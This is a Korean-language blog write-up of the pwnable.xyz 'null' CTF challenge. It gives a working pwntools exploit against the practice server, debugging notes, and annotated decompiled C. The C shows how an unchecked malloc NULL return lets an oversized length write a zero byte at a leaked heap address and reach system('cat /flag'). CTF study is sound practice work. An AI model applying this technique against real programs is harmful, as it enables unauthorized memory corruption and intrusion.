from pwn import *
p = remote("svc.pwnable.xyz", 30000)
p.recvuntil("Leak: ")
leak = int(p.recvline()[:-1], 16)
p.sendlineafter("message: ", str(int(leak+1)))
p.sendafter("message: ", 'aaaa')
p.interactive()
-rw-r--r-- 1 minseo minseo 10224 12월 26 2018 challenge
- cat해서 보니까 ELF 파일임
- 실행 권한이 없네요: chmod +x ./challenge
- memory leak 있고 입력받는거보니 bof 하는거같네요 (근데 보호기법 전부 MAX로 적용되어있는데?ㅋㅋ)
- 심볼 파일이 없어서 bp 안걸림. b *0x0 하고 실행시키고 info file해서 .text 영역의 주소 파악 후
- x/100i (.text영역 주소) 해서 디스어셈블 결과 분석하자
(info b 한다음 delete 1 하면 0x0의 bp 삭제 가능)
- 뭘 힘들게 어셈블리어 보고있어,, IDA 디컴파일 기능 활용 ㅋㅋ
- 윈도우에서 다운받아 압축 해제하면 challenge_21 확장자 없는 파일 나옴
- IDA에 던져도 분석 안되길래 HxD로 열어봤더니 뭔가 압축파일 같아서 7zip으로 압축해제하니
- 정상적으로 challenge 파일이 나온다
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
char *v4; // rbp
size_t v5; // rdx
size_t size[5]; // [rsp+0h] [rbp-28h] BYREF
size[1] = __readfsqword(0x28u);
sub_B4E(a1, a2, a3);
puts("Welcome.");
// v3에 0x40000크기의 chunk 할당하고
v3 = malloc(0x40000uLL);
// 첫 4byte를 1로 채운다, little endian이므로 v3 포인터가 가리키는 첫 바이트에 1 저장
*v3 = 1LL;
// 여기서 chunk 주소 leak 해준다
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ");
size[0] = 0LL;
// size 입력받아서
_isoc99_scanf("%lu", size);
// 그만큼 heap에 chunk 할당
v4 = (char *)malloc(size[0]);
_printf_chk(1LL, "Enter your message: ");
// size 크기만큼 v4에 입력받는다?
read(0, v4, size[0]);
v5 = size[0];
// 마지막 바이트는 NULL로
v4[size[0] - 1] = 0;
// v4 내용을 출력해준다
write(1, v4, v5);
// v3 첫 8byte가 0이면 cat /flag 실행된다...
if ( !*v3 )
system("cat /flag");
return 0LL;
}
v4[size[0]-1] = 0 구문에서 v3의 첫바이트를 0으로 만들어주면 어떨까?!
malloc 함수가 메모리 할당에 실패하였을 경우, 널 포인터를 리턴한다. 즉 v4 = 0
size[0]=leak된 메모리 주소 + 1 넣으면 되려나!!
비정상적으로 큰 메모리를 할당하려하므로 할당 실패해서 v4=null 리턴
malloc 후 null ptr인지 검사하는 루틴이 없네 이래서 중요하구나
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - note (0) | 2023.02.05 |
---|---|
pwnable.xyz - grownup (0) | 2023.02.05 |
pwnable.xyz - misalignment (0) | 2023.02.05 |
pwnable.xyz - add (0) | 2023.02.05 |
pwnable.xyz - sub (0) | 2023.02.05 |